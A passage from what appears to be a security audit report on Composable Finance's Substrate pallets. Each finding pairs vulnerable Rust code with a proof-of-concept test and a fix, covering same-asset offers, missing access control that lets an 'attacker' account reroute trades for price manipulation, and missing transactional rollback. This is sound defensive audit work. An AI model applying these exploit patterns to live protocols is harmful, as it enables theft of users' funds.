135         println!("AFTER MARKET FACTOR UPDATE Should liquidate :
 ↳ {:?}", should_liqudate);
136         println!("Borrowers cannot withdraw their collateral right
 ↳  now");
137
138         println!("***");
139         println!("Liquidate start");
140         println!("BEFORE LIQUIDATE market account reversed USDT
 ↳ balance: {:?}", Tokens::reserved_balance(USDT::ID, &market_account
 ↳ ));
141         let ratio = <Oracle as composable_traits::oracle::Oracle
 ↳ >::get_ratio(CurrencyPair::new(collateral_asset, borrow_asset));
142
143         assert_ok!(Lending::liquidate_internal(&ALICE, &market_id,
 ↳  vec![*BOB, *CHARLIE]));
144
145         let market_total_cash = Lending::total_cash(&market_id).
 ↳ unwrap();
146         let bob_collateral_amount = Lending::collateral_of_account
 ↳ (&market_id, &BOB);
147         let charlie_collateral_amount = Lending::
 ↳ collateral_of_account(&market_id, &CHARLIE);
148
149
150         println!("AFTER LIQUIDATE market total cash: {:?}",
 ↳ market_total_cash);
151
152         println!("AFTER LIQUIDATE BOB collateral amount: {:?}",
 ↳ bob_collateral_amount);
153         println!("AFTER LIQUIDATE CHARLIE collateral amount: {:?}"
 ↳ , charlie_collateral_amount);
154
155         println!("AFTER LIQUIDATE market account reversed USDT
 ↳ balance: {:?}", Tokens::reserved_balance(USDT::ID, &market_account
 ↳ ));
156         println!("***");
```

```
157     });
158 }
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

It is recommended to use the collateral factor of the time the borrowing takes place, not the market's latest collateral factor, since it can be edited.

3.4 (HAL-04) OFFER CREATION WITH THE SAME ASSET - HIGH

Description:

Inside the bonded-finance pallet, the do_offer function accepts offers with the same asset as both the offer's asset and the offer's reward asset.

This can result in situations when a victim pays, for example, 1000 tokens to get 100 tokens of the same type.

Code Location:

Listing 11: frame/bonded-finance/src/lib.rs

```
328 #[transactional]
329 pub fn do_offer(
330     from: &AccountIdOf<T>,
331     offer: BondOfferOf<T>,
332     keep_alive: bool,
333 ) -> Result<T::BondOfferId, DispatchError> {
334     let offer_id = BondOfferCount::<T>::try_mutate(
335         |offer_id| -> Result<T::BondOfferId, DispatchError> {
336             *offer_id = offer_id.safe_add(&T::BondOfferId::one())
 ↳ ?;
337             Ok(*offer_id)
338         },
339     )?;
340     let offer_account = Self::account_id(offer_id);
341     T::NativeCurrency::transfer(from, &offer_account, T::Stake::
 ↳ get(), keep_alive)?;
342     T::Currency::transfer(
343         offer.reward.asset,
344         from,
345         &offer_account,
346         offer.reward.amount,
347         keep_alive,
348     )?;
349     BondOffers::<T>::insert(offer_id, (from.clone(), offer));
```

```
350     Self::deposit_event(Event::<T>::NewOffer { offer_id });
351     Ok(offer_id)
352 }
```

Proof Of Concept:

Listing 12

```
 1 #[test]
 2 fn halborn_test(_does_not_matter_offer in simple_offer(1)) {
 3     ExtBuilder::build().execute_with(|| {
 4         System::set_block_number(1);
 5         let offer = BondOffer {
 6             beneficiary: ALICE,
 7             asset: mock::MockCurrencyId::BTC,
 8             bond_price: 1_000_000 + MIN_VESTED_TRANSFER as u128,
 9             nb_of_bonds: 1,
10             maturity: BondDuration::Infinite,
11             reward: BondOfferReward {
12                 asset: mock::MockCurrencyId::BTC,
13                 amount: 1_000_000,
14                 maturity: 96_u64,
15             },
16         };
17         assert_ok!(<ValidBondOffer<MinReward, MinVestedTransfer>
↳ as Validate<
18             BondOfferOf<Runtime>,
19             ValidBondOffer<MinReward, MinVestedTransfer>,
20         >>::validate(offer.clone()));
21         prop_assert_ok!(Tokens::mint_into(NATIVE_CURRENCY_ID, &
↳ ALICE, Stake::get()));
22         prop_assert_ok!(Tokens::mint_into(mock::MockCurrencyId::
↳ BTC, &ALICE, offer.reward.amount));
23         prop_assert_ok!(Tokens::mint_into(mock::MockCurrencyId::
↳ BTC, &BOB, 2 * 1_000_000));
24         let alice_balance = Tokens::balance(mock::MockCurrencyId::
↳ BTC, &ALICE);
25         let bob_balance = Tokens::balance(mock::MockCurrencyId::
↳ BTC, &BOB);
26         println!("--------------------------------");
27         println!("BEFORE OFFER");
28         println!("ALICE'S BALANCE: {} | BOB'S BAlANCE: {}",
```

```
↳ alice_balance, bob_balance);
29
30          let offer_id = BondedFinance::do_offer(&ALICE, offer.clone
↳ (), false);
31          prop_assert_ok!(offer_id);
32          let offer_id = offer_id.expect("impossible; qed");
33          prop_assert_ok!(BondedFinance::bond(Origin::signed(BOB),
↳ offer_id, 1, false));
34
35          System::assert_has_event(Event::BondedFinance(crate::Event
↳ ::NewBond {
36              offer_id,
37              who: BOB,
38              nb_of_bonds: 1
39          }));
40          System::assert_last_event(Event::BondedFinance(crate::
↳ Event::OfferCompleted { offer_id }));
41          let alice_balance = Tokens::balance(mock::MockCurrencyId::
↳ BTC, &ALICE);
42          let bob_balance = Tokens::balance(mock::MockCurrencyId::
↳ BTC, &BOB);
43          println!("AFTER BOND");
44          println!("ALICE'S BALANCE: {} | BOB'S BAlANCE: {}",
↳ alice_balance, bob_balance);
45          Ok(())
46      })?;
47 }
```

Risk Level:

Likelihood - 5
Impact - 3

Recommendation:

Implementing a validation mechanism in the `offer` function is recommended, which will ensure that offers with the same token provided as the offer's asset and offer's reward asset are not accepted.

3.5 (HAL-05) DUTCH AUCTION CREATION WITH THE SAME ASSET - HIGH

Description:

Inside the dutch-auction pallet ask function accepts sell offers with the same asset provided as both base and quote.

This can result in situations when a victim pays, for example, 1000 tokens to get 100 tokens of the same type.

Code Location:

Listing 13: frame/dutch-auction/src/lib.rs

```
273 fn ask(
274     from_to: &Self::AccountId,
275     order: Sell<Self::MayBeAssetId, Self::Balance>,
276     configuration: TimeReleaseFunction,
277 ) -> Result<Self::OrderId, DispatchError> {
278     ensure!(order.is_valid(), Error::<T>::OrderParametersIsInvalid
 ↳ ,);
279     let order_id = <OrdersIndex<T>>::mutate(|x| {
280         *x = x.next();
281         // in case of wrapping, will need to check existence of
 ↳ order/takes
282         *x
283     });
284     let treasury = &T::PalletId::get().into_account();
285     let deposit = T::PositionExistentialDeposit::get();
286     <T::NativeCurrency as NativeTransfer<T::AccountId>>::transfer(
287         from_to, treasury, deposit, true,
288     )?;
289
290     let now = T::UnixTime::now().as_secs();
291     let order = SellOf::<T> {
292         from_to: from_to.clone(),
293         configuration,
294         order,
295         context: Context::<Self::Balance> { added_at: now, deposit
```

```
 ↳  },
296     };
297
298     T::MultiCurrency::reserve(order.order.pair.base, from_to,
 ↳ order.order.take.amount)?;
299     SellOrders::<T>::insert(order_id, order);
300
301     Ok(order_id)
302 }
```

Proof Of Concept:

Listing 14

```
 1 #[test]
 2 fn halborn_tests_same_pair_auction() {
 3     new_test_externalities().execute_with(|| {
 4         Tokens::mint_into(BTC, &ALICE, 10000).unwrap();
 5         Tokens::mint_into(BTC, &BOB, 10000).unwrap();
 6
 7         let alice_balance_before_auction = Tokens::balance(BTC, &
 ↳ ALICE);
 8         let bob_balance_before_auction = Tokens::balance(BTC, &BOB
 ↳ );
 9         println!("Alice balance before auction = {}",
 ↳ alice_balance_before_auction);
10         println!("Bob balance before auction = {}",
 ↳ bob_balance_before_auction);
11
12         let seller = AccountId::from_raw(ALICE.0);
13         let buyer = AccountId::from_raw(BOB.0);
14
15         let sell_amount: u128 = 100;
16         let take_amount = 10;
17
18         let sell_offer = Sell::new(BTC, BTC, sell_amount, fixed(
 ↳ take_amount));
19         let configuration = TimeReleaseFunction::LinearDecrease(
 ↳ LinearDecrease { total: 10 });
20
21         let ask_result = DutchAuction::ask(Origin::signed(seller),
 ↳  sell_offer, configuration);
```

```
22
23          assert!(ask_result.is_ok());
24
25          let order_id = crate::OrdersIndex::<Runtime>::get();
26          let result = DutchAuction::take(
27              Origin::signed(buyer),
28              order_id,
29              Take::new(sell_amount, fixed(take_amount)),
30          );
31
32          assert!(result.is_ok());
33          DutchAuction::on_finalize(42);
34
35          let alice_balance_after_auction = Tokens::balance(BTC, &
↳ ALICE);
36          let bob_balance_after_auction = Tokens::balance(BTC, &BOB)
↳ ;
37          println!("Alice balance after auction = {}",
↳ alice_balance_after_auction);
38          println!("Bob balance after auction = {}",
↳ bob_balance_after_auction);
39      });
40 }
```

Risk Level:

Likelihood - 5
Impact - 3

Recommendation:

Implementing a validation mechanism in the' ask' function is recommended to ensure that the base asset is not the same as the quote asset.

3.6 (HAL-06) COLLATERAL FACTOR CAN BE SET SMALLER THAN TWO - MEDIUM

Description:

Inside the lending pallet, the update_market function allows the market owner to update the collateral factor smaller than or equal to one.

This may also result in different types of vulnerabilities.

Code Location:

Listing 15: frame/lending/src/lib.rs (Line 582)

```
569         pub fn update_market(
570             origin: OriginFor<T>,
571             market_id: MarketIndex,
572             input: UpdateInput<T::LiquidationStrategyId>,
573         ) -> DispatchResultWithPostInfo {
574             let who = ensure_signed(origin)?;
575             Markets::<T>::mutate(&market_id, |market| {
576                 if let Some(market) = market {
577                     ensure!(who == market.manager, Error::<T>::
 ↳ Unauthorized);
578 
579                     market.collateral_factor = input.
 ↳ collateral_factor;
580                     market.interest_rate_model = input.
 ↳ interest_rate_model;
581                     market.under_collaterized_warn_percent = input
 ↳ .under_collaterized_warn_percent;
582                     market.liquidators = input.liquidators.clone()
 ↳ ;
583                     Ok(())
584                 } else {
585                     Err(Error::<T>::MarketDoesNotExist)
586                 }})?;
587             Self::deposit_event(Event::<T>::MarketUpdated {
 ↳ market_id, input });
588             Ok(().into())
```

Proof Of Concept:

Listing 16

```
#[test]
fn collateral_factor_update_test() {
    new_test_ext().execute_with(|| {
        System::set_block_number(1);
        let (market_id, _vault_id) = create_simple_market();
        let expected = 50_000 * USDT::one();
        set_price(BTC::ID, expected);   set_price(USDT::ID, USDT::
↳ one());
        //Update collateral factor smaller than 1
        let collateral_factor = MoreThanOneFixedU128::
↳ saturating_from_rational(50, 100);
        let updatable = UpdateInput {
            collateral_factor,
            under_collaterized_warn_percent: Percent::from_float
↳ (1.1),
            liquidators: vec![],
            interest_rate_model: InterestRateModel::default(),
        };
        let updated = Lending::update_market(Origin::signed(*ALICE
↳ ),    market_id,  updatable);
        assert_ok!(updated);
        println!("Markets collateral factor is update from 2 to :
↳ {:?}", collateral_factor);
    });
}
```

Risk Level:

Likelihood - 4
Impact - 3

Recommendation:

It is recommended to implement checks in update_market function to ensure collateral factor is updated higher than one.

3.7 (HAL-07) MISSING ACCESS CONTROL LEADS TO PRICE MANIPULATION - LOW

Description:

Inside the uniswap and curv-amm pallets, the create function calls do_create_pool without restrictions, allowing anyone to create a pool of arbitrary pairs, which leads to a price manipulation risk.

dex-router pallet auditing where theupdate_route allows the caller to create, update or delete existing routers, the function was found to lack implementing a custom origin to restrict access to this function. However, the function is not public, but we're not sure if the composable team is planning to use it in the future.
An attacker can abuse those two bugs to develop attacks that might result in price manipulation.

Code Location:

Listing 17: TODO

```rust
#[pallet::weight(T::WeightInfo::create())]
pub fn create(
    origin: OriginFor<T>,
    pair: CurrencyPair<T::AssetId>,
    fee: Permill,
    owner_fee: Permill,
) -> DispatchResult {
    let who = ensure_signed(origin)?;
    let _ = Self::do_create_pool(&who, pair, fee, owner_fee)?;
    Ok(())
}
```

Listing 18

```rust
fn update_route(
    who: &T::AccountId,
    asset_pair: CurrencyPair<T::AssetId>,
```

```
    route: Option<BoundedVec<DexRouteNode<T::PoolId>, T::
↳ MaxHopsInRoute>>,
) -> Result<(), DispatchError> {
    match route {
        Some(bounded_route) => Self::do_update_route(who,
↳ asset_pair, bounded_route)?,
        None => Self::do_delete_route(who, asset_pair)?,
    }
    Ok(())
}
```

Proof Of Concept:

Using the create function, an attacker can create a malicious pool with an arbitrary token against a valuable asset such as TEST/ETH.

Once the pool is created using update_route, an attacker can update the route for important trading pairs such as ETH/USDT so any trade going to be executed through that router and complete transactions in the context of the malicious pool, allowing the attacker to manipulate the ETH price.

Listing 19: TODO

```
#[test]
fn halborn_tests() {
    new_test_ext().execute_with(|| {
        let currency_pair = CurrencyPair { base: ETH, quote: USDT
↳ };
        let unit = 1_000_000_000_000_u128;
        let bad_actor_usdt_balance = 100 * unit;
        let bad_actor_badhack_balance = 200 * unit;
        let bad_actor_eth_balance = 3 * unit;
        let BADHACK: CurrencyId = 22;
        let ATTACKER: AccountId = 111;
        // mint
        Tokens::mint_into(BADHACK, &ATTACKER,
↳ bad_actor_badhack_balance);
        Tokens::mint_into(ETH, &ATTACKER, bad_actor_eth_balance);
        Tokens::mint_into(USDT, &ATTACKER, bad_actor_usdt_balance)
↳ ;
        // Create First pool BADHACK/USDT
```

```
16          let attacker_pool_badusdt = ConstantProductAmm::
↳ do_create_pool(&ATTACKER, CurrencyPair::new(BADHACK, USDT),
↳ Permill::zero(), Permill::zero()).unwrap();
17          // println!(" attacker created pool {:?}",
↳ attacker_pool_badusdt);
18          // Create 2th pool BADHACK/ETH
19          let attacker_pool_badeth = ConstantProductAmm::
↳ do_create_pool(&ATTACKER, CurrencyPair::new(BADHACK, ETH), Permill
↳ ::zero(), Permill::zero()).unwrap();
20          // println!(" attacker created pool {:?}",
↳ attacker_pool_badeth);
21          // Add liquidity 100 BADHACK / 50 USDT
22          ConstantProductAmm::add_liquidity(&ATTACKER,
↳ attacker_pool_badusdt, 100 * unit, 50 * unit, 0_u128, true);
23          // Add liquidity 2 BADHACK / 1 ETH
24          ConstantProductAmm::add_liquidity(&ATTACKER,
↳ attacker_pool_badeth, 2 * unit, 1 * unit, 0_u128, true);
25          let dex_route = vec![DexRouteNode::Uniswap(
↳ attacker_pool_badusdt), DexRouteNode::Uniswap(attacker_pool_badeth
↳ ),];
26          assert_ok!(DexRouter::update_route(
27              &ATTACKER,
28              currency_pair,
29              Some(dex_route.clone().try_into().unwrap()) ));
30          assert_eq!(DexRouter::get_route(currency_pair), Some(
↳ dex_route));
31          assert_ok!(DexRouter::exchange(&ATTACKER, currency_pair, 1
↳ _u128 * unit));
32      });
33  }
```

Risk Level:

Likelihood - 3
Impact - 1

Recommendation:

It is recommended to restrict access to update_route to a specific origin to prevent such risks of malicious pool creation and modifying the routers.

3.8 (HAL-08) ASSET MAPPING WITH NON EXISTING ASSET ID - LOW

Description:

Inside mosaic pallet, update_asset_mapping function, does not check if asset_id corresponds to an asset which may create problems in the program flow.

Code Location:

Listing 20: frame/mosaic/src/lib.rs (Line 784)

```
784 pub fn update_asset_mapping(
785     origin: OriginFor<T>,
786     asset_id: AssetIdOf<T>,
787     network_id: NetworkIdOf<T>,
788     remote_asset_id: Option<RemoteAssetIdOf<T>>,
789 ) -> DispatchResultWithPostInfo {
790     T::ControlOrigin::ensure_origin(origin)?;
791     let _ =
792         NetworkInfos::<T>::get(network_id.clone()).ok_or(Error::<T
 ↳ >::UnsupportedNetwork)?;
793     let entry = LocalToRemoteAsset::<T>::try_get(asset_id,
 ↳ network_id.clone()).ok();
794     match (entry, remote_asset_id) {
795         // remove an non-existent entry.
796         (None, None) => {},
797         // insert a new entry.
798         (None, Some(remote_asset_id)) => {
799             LocalToRemoteAsset::<T>::insert(
800                 asset_id,
801                 network_id.clone(),
802                 remote_asset_id.clone(),
803             );
804             RemoteToLocalAsset::<T>::insert(
805                 remote_asset_id.clone(),
806                 network_id.clone(),
807                 asset_id,
808             );
809 ......
```

Proof Of Concept:

Listing 21: TODO

```
#[test]
fn update_mapping_with_nonexistent_assetid() {
    new_test_ext().execute_with(|| {
        initialize();

    let non_exist_assetid = 12345678;

    let remote_asset_id = [0xFFu8; 20];
    assert_ok!(Mosaic::update_asset_mapping(
        Origin::root(),
        non_exist_assetid,
        1,
        Some(remote_asset_id)
    ));
    })
}
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to add checks to ensure the asset_id exists.

3.9 (HAL-09) MISSING ‘transactional‘ MACRO - LOW

Description:

Inside the dex-router pallet, exchange and buy functions are looping through the route nodes and executing ConstantProductDex::exchange or StableSwapDex::exchange.

One of those functions might return an error during exchanging tokens, so during the route operation, the user might lose funds without reaching the objective, i.e. (exchange first pairs in route and fails to exchange the second pair due to any reason might case exchange to fail).

Code Location:

Listing 22: frame/dex-router/src/lib.rs

```
217 // TODO: expected minimum value can be provided from input
 ↳ parameter.
218 fn exchange(
219     who: &T::AccountId,
220     asset_pair: CurrencyPair<T::AssetId>,
221     dx: T::Balance,
222 ) -> Result<T::Balance, DispatchError> {
223     let route = Self::get_route(asset_pair).ok_or(Error::<T>::
 ↳ NoRouteFound)?;
224     let mut dx_t = dx;
225     let mut dy_t = T::Balance::zero();
226     for route_node in &route {
227         match route_node {
228             DexRouteNode::Curve(pool_id) => {
229                 let currency_pair = T::StableSwapDex::
 ↳ currency_pair(*pool_id)?;
230                 dy_t = T::StableSwapDex::exchange(
231                     who,
232                     *pool_id,
233                     currency_pair,
234                     dx_t,
235                     T::Balance::zero(),
```

```
236                     true,
237                 )?;
238                 dx_t = dy_t;
239             },
240             DexRouteNode::Uniswap(pool_id) => {
241                 let currency_pair = T::ConstantProductDex::
 ↳ currency_pair(*pool_id)?;
242                 dy_t = T::ConstantProductDex::exchange(
243                     who,
244                     *pool_id,
245                     currency_pair,
246                     dx_t,
247                     T::Balance::zero(),
248                     true,
249                 )?;
250                 dx_t = dy_t;
251             },
252         }
253     }
254     Ok(dy_t)
255 }
```

Listing 23: frame/dex-router/src/lib.rs

```
265 fn buy(
266     who: &T::AccountId,
267     asset_pair: CurrencyPair<T::AssetId>,
268     amount: T::Balance,
269 ) -> Result<T::Balance, DispatchError> {
270     let route = Self::get_route(asset_pair).ok_or(Error::<T>::
 ↳ NoRouteFound)?;
271     let mut dy_t = amount;
272     let mut dx_t = T::Balance::zero();
273     for route_node in route.iter().rev() {
274         match route_node {
275             DexRouteNode::Curve(pool_id) => {
276                 let currency_pair = T::StableSwapDex::
 ↳ currency_pair(*pool_id)?;
277                 dx_t = T::StableSwapDex::get_exchange_value(
278                     *pool_id,
279                     currency_pair.base,
280                     dy_t,
281                 )?;
282                 dy_t = dx_t;
```

```
283             },
284             DexRouteNode::Uniswap(pool_id) => {
285                 let currency_pair = T::ConstantProductDex::
 ↳ currency_pair(*pool_id)?;
286                 dx_t = T::ConstantProductDex::get_exchange_value(
287                     *pool_id,
288                     currency_pair.base,
289                     dy_t,
290                 )?;
291                 dy_t = dx_t;
292             },
293         }
294     }
295     for route_node in route {
296         match route_node {
297             DexRouteNode::Curve(pool_id) => {
298                 let currency_pair = T::StableSwapDex::
 ↳ currency_pair(pool_id)?;
299                 let dy_t = T::StableSwapDex::exchange(
300                     who,
301                     pool_id,
302                     currency_pair,
303                     dx_t,
304                     T::Balance::zero(),
305                     true,
306                 )?;
307                 dx_t = dy_t;
308             },
309             DexRouteNode::Uniswap(pool_id) => {
310                 let currency_pair = T::ConstantProductDex::
 ↳ currency_pair(pool_id)?;
311                 let dy_t = T::ConstantProductDex::exchange(
312                     who,
313                     pool_id,
314                     currency_pair,
315                     dx_t,
316                     T::Balance::zero(),
317                     true,
318                 )?;
319                 dx_t = dy_t;
320             },
321         }
322     }
323     Ok(dx_t)
```

```
324 }
```

Proof Of Concept:

Listing 24

```
 1 #[test]
 2 fn halborn_tests() {
 3     new_test_ext().execute_with(|| {
 4
 5         let currency_pair = CurrencyPair { base: ETH, quote: USDT
↳ };
 6
 7
 8         let unit = 1_000_000_000_000_u128;
 9
10         let BOBMOB: AccountId = 222;
11         let KING: AccountId = 333;
12
13         // mint
14         Tokens::mint_into(ETH, &KING, 1000 * unit);
15         Tokens::mint_into(USDC, &KING, 1000 * unit);
16         Tokens::mint_into(ETH, &BOBMOB, 100 * unit);
17         Tokens::mint_into(USDC, &BOBMOB, 100 * unit);
18
19         let p1 = ConstantProductAmm::do_create_pool(&KING,
↳ CurrencyPair::new(ETH, USDC), Permill::zero(), Permill::zero()).
↳ unwrap();
20         let p2 = ConstantProductAmm::do_create_pool(&KING,
↳ CurrencyPair::new(USDC, USDT), Permill::zero(), Permill::zero()).
↳ unwrap();
21         ConstantProductAmm::add_liquidity(
22             &KING, p1, 10 * unit, 500 * unit, 0_u128, true
23         );
24         ConstantProductAmm::add_liquidity(
25             &KING, p2, 200 * unit, 200 * unit, 0_u128, true
26         );
27         let dex_route = vec![
28             DexRouteNode::Uniswap(p1),
29             DexRouteNode::Uniswap(p2),
30         ];
31         assert_ok!(DexRouter::update_route(
```

```
32              &KING,
33              currency_pair,
34              Some(dex_route.clone().try_into().unwrap())
35          ));
36          assert_eq!(DexRouter::get_route(currency_pair), Some(
↳ dex_route));
37          DexRouter::exchange(&BOBMOB, currency_pair, 10_u128 * unit
↳ );
38      });
39 }
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to add transactional macro to buy and exchange functions and functions going through several transactions to avoid funds loss; another prevention that can be applied is to calculate whatever the user owns the required amount to exchange for each pair in the route.

3.10 (HAL-10) VESTING TRANSFER TO CALLER ACCOUNT - LOW

Description:

Inside vesting pallet, vested_transfer function allows you to vesting transfer to the caller account itself.

Code Location:

Listing 25: frame/vesting/src/lib.rs

```
249 pub fn vested_transfer(
250     origin: OriginFor<T>,
251     from: <T::Lookup as StaticLookup>::Source,
252     beneficiary: <T::Lookup as StaticLookup>::Source,
253     asset: AssetIdOf<T>,
254     schedule: VestingScheduleOf<T>,
255 ) -> DispatchResult {
256     T::VestedTransferOrigin::ensure_origin(origin)?;
257     let from = T::Lookup::lookup(from)?;
258     let to = T::Lookup::lookup(beneficiary)?;
259     <Self as VestedTransfer>::vested_transfer(asset, &from, &to,
 ↳ schedule.clone())?;
260
261     Self::deposit_event(Event::VestingScheduleAdded { from, to,
 ↳ asset, schedule });
262     Ok(())
263 }
```

Proof Of Concept:

Listing 26

```
1 #[test]
2 fn vested_transfer_transfer_to_same_account() {
3     ExtBuilder::build().execute_with(|| {
4         System::set_block_number(1);
```

```
5
6           let schedule = VestingSchedule {
7               start: 0_u64,
8               period: 10_u64,
9               period_count: 1_u32,
10              per_period: 100_u64,
11          };
12          assert_ok!(Vesting::vested_transfer(
13              Origin::signed(ALICE),
14              ALICE,
15              MockCurrencyId::BTC,
16              schedule.clone(),
17          ));
18
19          assert_eq!(Vesting::vesting_schedules(&ALICE,
↳ MockCurrencyId::BTC), vec![schedule.clone()]);
20          System::assert_last_event(Event::Vesting(crate::Event::
↳ VestingScheduleAdded {
21              from: ALICE,
22              to: ALICE,
23              asset: MockCurrencyId::BTC,
24              schedule,
25          }));
26
27          assert_ok!(Vesting::claim(Origin::signed(ALICE),
↳ MockCurrencyId::BTC));
28      });
29  }
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to add checks to ensure the caller account is not identical with the vesting destination.

3.11 (HAL-11) DUPLICATE ROUTES ALLOWED - LOW

Description:

Inside dex-router pallet, update_route function is accepting duplicate routes.

Code Location:

Listing 27: frame/dex-router/src/lib.rs (Line 133)

```
133 fn do_update_route(
134     who: &T::AccountId,
135     asset_pair: CurrencyPair<T::AssetId>,
136     route: BoundedVec<DexRouteNode<T::PoolId>, T::MaxHopsInRoute>,
137 ) -> Result<(), DispatchError> {
138     let k1 = asset_pair.base;
139     let k2 = asset_pair.quote;
140     for r in route.as_slice() {
141         match r {
142             DexRouteNode::Curve(pool_id) => {
143                 ensure!(
144                     T::StableSwapDex::pool_exists(*pool_id),
145                     Error::<T>::PoolDoesNotExist
146                 )
147             },
148             DexRouteNode::Uniswap(pool_id) => {
149                 ensure!(
150                     T::ConstantProductDex::pool_exists(*pool_id),
151                     Error::<T>::PoolDoesNotExist
152                 )
153             },
154         }
155     }
156     let existing_route = DexRoutes::<T>::get(k1, k2);
157
158     DexRoutes::<T>::insert(k1, k2, DexRoute::Direct(route.clone())
    ↳ );
159     let event = match existing_route {
160         Some(DexRoute::Direct(old_route)) => Event::RouteUpdated {
```

```
161             who: who.clone(),
162             x_asset_id: k1,
163             y_asset_id: k2,
164             old_route: old_route.into_inner(),
165             updated_route: route.to_vec(),
166         },
167         None => Event::RouteAdded {
168             who: who.clone(),
169             x_asset_id: k1,
170             y_asset_id: k2,
171             route: route.to_vec(),
172         },
173     };
174     Self::deposit_event(event);
175     Ok(())
176 }
```

Proof Of Concept:

Listing 28

```
 1 #[test]
 2 fn halborn_tests() {
 3     new_test_ext().execute_with(|| {
 4
 5         let currency_pair = CurrencyPair { base: ETH, quote: USDT
↳ };
 6         let unit = 1_000_000_000_000_u128;
 7         let ATTACKER: AccountId = 111;
 8
 9         // mint
10         Tokens::mint_into(XRP, &ATTACKER, 100 * unit);
11         Tokens::mint_into(ETH, &ATTACKER, 100 * unit);
12         Tokens::mint_into(SOL, &ATTACKER, 100 * unit);
13         Tokens::mint_into(USDC, &ATTACKER, 100 * unit);
14         Tokens::mint_into(BTC, &ATTACKER, 100 * unit);
15
16         let p1 = ConstantProductAmm::do_create_pool(&ATTACKER,
↳ CurrencyPair::new(XRP, ETH), Permill::zero(), Permill::zero()).
↳ unwrap();
17         let p2 = ConstantProductAmm::do_create_pool(&ATTACKER,
↳ CurrencyPair::new(SOL, USDC), Permill::zero(), Permill::zero()).
```

```
↳ unwrap();
18
19          ConstantProductAmm::add_liquidity(
20              &ATTACKER, p1, 50 * unit, 50 * unit, 0_u128, true
21          );
22          ConstantProductAmm::add_liquidity(
23              &ATTACKER, p2, 50 * unit, 50 * unit, 0_u128, true
24          );
25
26          let dex_route = vec![
27              DexRouteNode::Uniswap(p1),
28              DexRouteNode::Uniswap(p1),
29              DexRouteNode::Uniswap(p2),
30              DexRouteNode::Uniswap(p2),
31          ];
32          assert_ok!(DexRouter::update_route(
33              &ATTACKER,
34              currency_pair,
35              Some(dex_route.clone().try_into().unwrap())
36          ));
37          assert_eq!(DexRouter::get_route(currency_pair), Some(
↳ dex_route));
38          assert_ok!(DexRouter::exchange(&ATTACKER, currency_pair, 1
↳ _u128 * unit));
39
40      });
41 }
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to check whether the route exists or not.

3.12 (HAL-12) UPDATE/CREATE ROUTES WITH NON-EXISTING TOKENS - LOW

Description:

Inside the dex-router pallet, the update_route function does not check if the tokens are not related to the trading currency pairs or not.

Example: ETH/USDT route can be updated to go through TNK/USDC, then BAD/USDC; the trade will never get executed, so basically, a user might go to trade ETH/USDT, but in the backend, the user will get exchanged for non-related tokens.

Code Location:

Listing 29: frame/dex-router/src/lib.rs

```
133 fn do_update_route(
134     who: &T::AccountId,
135     asset_pair: CurrencyPair<T::AssetId>,
136     route: BoundedVec<DexRouteNode<T::PoolId>, T::MaxHopsInRoute>,
137 ) -> Result<(), DispatchError> {
138     let k1 = asset_pair.base;
139     let k2 = asset_pair.quote;
140     for r in route.as_slice() {
141         match r {
142             DexRouteNode::Curve(pool_id) => {
143                 ensure!(
144                     T::StableSwapDex::pool_exists(*pool_id),
145                     Error::<T>::PoolDoesNotExist
146                 )
147             },
148             DexRouteNode::Uniswap(pool_id) => {
149                 ensure!(
150                     T::ConstantProductDex::pool_exists(*pool_id),
151                     Error::<T>::PoolDoesNotExist
152                 )
153             },
154         }
155     }
```

```
156     let existing_route = DexRoutes::<T>::get(k1, k2);
157
158     DexRoutes::<T>::insert(k1, k2, DexRoute::Direct(route.clone())
 ↳ );
159     let event = match existing_route {
160         Some(DexRoute::Direct(old_route)) => Event::RouteUpdated {
161             who: who.clone(),
162             x_asset_id: k1,
163             y_asset_id: k2,
164             old_route: old_route.into_inner(),
165             updated_route: route.to_vec(),
166         },
167         None => Event::RouteAdded {
168             who: who.clone(),
169             x_asset_id: k1,
170             y_asset_id: k2,
171             route: route.to_vec(),
172         },
173     };
174     Self::deposit_event(event);
175     Ok(())
176 }
```

Proof Of Concept:

Listing 30

```
 1 #[test]
 2 fn halborn_tests() {
 3     new_test_ext().execute_with(|| {
 4
 5         let currency_pair = CurrencyPair { base: ETH, quote: USDT
 ↳ };
 6         let unit = 1_000_000_000_000_u128;
 7         let ATTACKER: AccountId = 111;
 8
 9         // mint
10         Tokens::mint_into(XRP, &ATTACKER, 100 * unit);
11         Tokens::mint_into(ETH, &ATTACKER, 100 * unit);
12         Tokens::mint_into(SOL, &ATTACKER, 100 * unit);
13         Tokens::mint_into(USDC, &ATTACKER, 100 * unit);
14         Tokens::mint_into(BTC, &ATTACKER, 100 * unit);
```

```
15
16          let p1 = ConstantProductAmm::do_create_pool(&ATTACKER,
↳ CurrencyPair::new(XRP, BTC), Permill::zero(), Permill::zero()).
↳ unwrap();
17          let p2 = ConstantProductAmm::do_create_pool(&ATTACKER,
↳ CurrencyPair::new(SOL, USDC), Permill::zero(), Permill::zero()).
↳ unwrap();
18
19          ConstantProductAmm::add_liquidity(
20              &ATTACKER, p1, 50 * unit, 50 * unit, 0_u128, true
21          );
22          ConstantProductAmm::add_liquidity(
23              &ATTACKER, p2, 50 * unit, 50 * unit, 0_u128, true
24          );
25
26          let dex_route = vec![
27              DexRouteNode::Uniswap(p1),
28              DexRouteNode::Uniswap(p2),
29          ];
30          assert_ok!(DexRouter::update_route(
31              &ATTACKER,
32              currency_pair,
33              Some(dex_route.clone().try_into().unwrap())
34          ));
35          assert_eq!(DexRouter::get_route(currency_pair), Some(
↳ dex_route));
36          assert_ok!(DexRouter::exchange(&ATTACKER, currency_pair, 1
↳ _u128 * unit));
37
38      });
39 }
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to check whether the route will be created related to the currency pairs or not; consider the following steps to fix this issue

- create a BTreeMap
- insert the pools pairs to the BTreeMap object
- apply the following checks

Listing 31

```
ensure!(treemap.contains_key(&pair.base), Error::<T, I>::
↳ UnrelatedToken);
ensure!(treemap.contains_key(&pair.quote), Error::<T, I>::
↳ UnrelatedToken);
```

3.13 (HAL-13) CREATE DUPLICATE POOL WITH SAME PAIR - LOW

Description:

Inside uniswap-v2 pallet, the do_create_pool function lacks existing pool validation, allowing the creation of multiple pools with the same pairs.

Code Location:

Listing 32: frame/uniswap-v2/src/lib.rs

